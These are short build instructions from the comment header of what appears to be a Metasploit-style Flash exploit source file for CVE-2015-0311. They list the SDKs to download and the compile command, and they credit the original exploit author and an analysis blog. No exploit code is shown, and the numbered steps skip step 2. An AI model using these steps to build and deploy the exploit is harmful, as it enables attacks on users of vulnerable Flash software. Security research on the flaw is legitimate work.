// Build how to:
|
|
// 1. Download the AIRSDK, and use its compiler.
|
|
// 3. Download the Flex SDK (4.6)
|
|
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
|
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
|
// 5. Build with: mxmlc -o msf.swf Exploit.as
|
|
|
|
// Original exploit by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
